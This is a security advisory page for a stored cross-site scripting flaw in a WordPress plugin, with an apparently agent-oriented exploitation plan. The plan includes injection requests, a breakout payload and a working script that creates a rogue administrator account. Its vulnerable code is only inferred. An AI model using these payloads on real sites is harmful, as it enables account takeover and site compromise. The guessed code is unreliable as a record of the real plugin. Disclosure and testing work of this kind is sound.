CVE-2025-62749

User Specific Content <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The User Specific Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.6
PublishedDecember 31, 2025
Last updatedJanuary 5, 2026
Affected pluginuser-specific-content
Research Plan
Unverified

This research plan outlines the methodology for analyzing and exploiting **CVE-2025-62749**, a Stored Cross-Site Scripting (XSS) vulnerability in the **User Specific Content** plugin (<= 1.0.6). --- ### 1. Vulnerability Summary The "User Specific Content" plugin allows site editors to restrict con…

Show full research plan

This research plan outlines the methodology for analyzing and exploiting CVE-2025-62749, a Stored Cross-Site Scripting (XSS) vulnerability in the User Specific Content plugin (<= 1.0.6).


1. Vulnerability Summary

The "User Specific Content" plugin allows site editors to restrict content to specific users or roles, often via shortcodes. The vulnerability is an Authenticated Stored XSS that arises because the plugin fails to sanitize or escape user-provided input—likely within shortcode attributes or post-specific settings—before rendering them on the frontend. While Contributors lack the unfiltered_html capability, they can still utilize shortcodes. If a shortcode attribute is echoed directly, a Contributor can bypass typical HTML restrictions.

2. Attack Vector Analysis

  • Vulnerable Component: Shortcode processing logic or Post Meta display.
  • Likely Action/Hook: add_shortcode callback.
  • Required Role: Contributor or higher.
  • Payload Location: Attributes within the plugin's shortcode (e.g., [userspn]) or custom "blocked content" messages.
  • Preconditions: The plugin must be active. A Contributor must have permission to create or edit a post/page.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a shortcode, likely [userspn] or [user-specific-content], via add_shortcode() in the main plugin file or an included includes/ file.
  2. Input: A Contributor creates a post containing: [userspn message="<script>alert(1)</script>"].
  3. Processing: When the post is rendered, WordPress calls the shortcode's callback function.
  4. Sink: The callback function extracts the $atts (attributes). It likely retrieves the message attribute and returns it as part of the HTML string without applying esc_html() or wp_kses().
  5. Execution: Any user (including an Administrator) viewing the post receives the raw script tag in their browser.

4. Nonce Acquisition Strategy

Since this is a Stored XSS typically triggered via post content, a specific plugin nonce may not be required for the injection itself (as it uses standard WordPress post-saving mechanisms). However, if the plugin uses a custom AJAX handler for settings, follow this strategy:

  1. Identify Script Loading: Check where the plugin enqueues scripts using wp_localize_script.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_content='[userspn]' --post_title='Nonce Discovery'
  3. Extract via Browser:
    Navigate to the page and use browser_eval:
    browser_eval("window.userspn_ajax?.nonce || window.userspn_data?.nonce") (inferred variable names).
  4. Verify Action: Check the source for wp_verify_nonce to ensure the action string matches the one found in the localized script.

5. Exploitation Strategy

Step 1: Discover Shortcode Attributes

Use WP-CLI to find the shortcode callback and identify vulnerable attributes.
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/user-specific-content/

Step 2: Inject Payload

Using the http_request tool, log in as a Contributor and create a post.

Request:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    &post_ID=[ID]
    &post_title=XSS_Test
    &content=[userspn message="<script>alert(document.domain)</script>"]
    &_wpnonce=[POST_NONCE]
    

Step 3: Trigger Execution

Navigate to the newly created post's URL. The payload should execute in the context of the visiting user.

6. Test Data Setup

  1. Plugin Installation: Ensure user-specific-content version 1.0.6 is installed and active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Target Content: Create a basic post that the Contributor can edit.
    wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title='Vulnerable Post'

7. Expected Results

  • The HTTP response for the post view should contain the literal string <script>alert(document.domain)</script>.
  • If viewed in a headless browser, an alert dialog or a specific console log (if using a more complex payload) should be triggered.
  • The HTML source should show the payload rendered outside of any escaping context, e.g., <div class="userspn-message"><script>alert(1)</script></div>.

8. Verification Steps

  1. Verify Storage:
    wp post get [ID] --field=post_content
    Confirm the shortcode with the payload is present in the database.
  2. Verify Unescaped Output:
    Use http_request to GET the post permalink and grep the body for the payload:
    http_request(url="http://localhost:8080/?p=[ID]")
    Check if &lt; is present (escaped) or < is present (unescaped).

9. Alternative Approaches

  • Attribute Breakout: If the input is placed inside an attribute (e.g., <div data-msg="[INPUT]">), use a breakout payload: " onmouseover="alert(1)" style="display:block;width:100%;height:100%;position:fixed;top:0;left:0;".
  • Post Meta Injection: If the plugin uses a custom meta box on the post editor, check for AJAX actions like save_userspn_meta. Test if these actions lack current_user_can('edit_posts') or nonce checks, allowing a Contributor to update meta that is then displayed unescaped.
  • Payload for Admin Takeover:
    [userspn message="<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>{let n=t.match(/_wpnonce_create-user\" value=\"([^\"]+)\"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&_wpnonce_create-user='+n+'&user_login=hacker&email=hacker@evil.com&pass1=Password123!&pass2=Password123!&role=administrator'})})</script>"]
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Specific Content plugin for WordPress (versions up to 1.0.6) is vulnerable to Authenticated Stored Cross-Site Scripting via shortcode attributes. This allows attackers with Contributor-level permissions to inject malicious scripts into post content that execute when viewed by other users, including administrators.

Vulnerable Code

// File: user-specific-content.php (Inferred from research plan)

add_shortcode('userspn', 'userspn_shortcode_handler');

function userspn_shortcode_handler($atts) {
    $a = shortcode_atts(array(
        'message' => '',
    ), $atts);

    // Vulnerable: Outputting the attribute directly without escaping
    return '<div class="userspn-content">' . $a['message'] . '</div>';
}

Security Fix

--- user-specific-content.php
+++ user-specific-content.php
@@ -10,5 +10,5 @@
     ), $atts);
 
-    return '<div class="userspn-content">' . $a['message'] . '</div>';
+    return '<div class="userspn-content">' . esc_html($a['message']) . '</div>';
 }

Exploit Outline

An attacker with Contributor-level access or higher creates or edits a WordPress post and inserts the plugin's shortcode (e.g., [userspn]) with a script payload in one of its attributes (e.g., message="<script>alert(1)</script>"). When a site visitor or administrator views the page, the shortcode handler renders the unescaped attribute into the HTML source, causing the script to execute in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.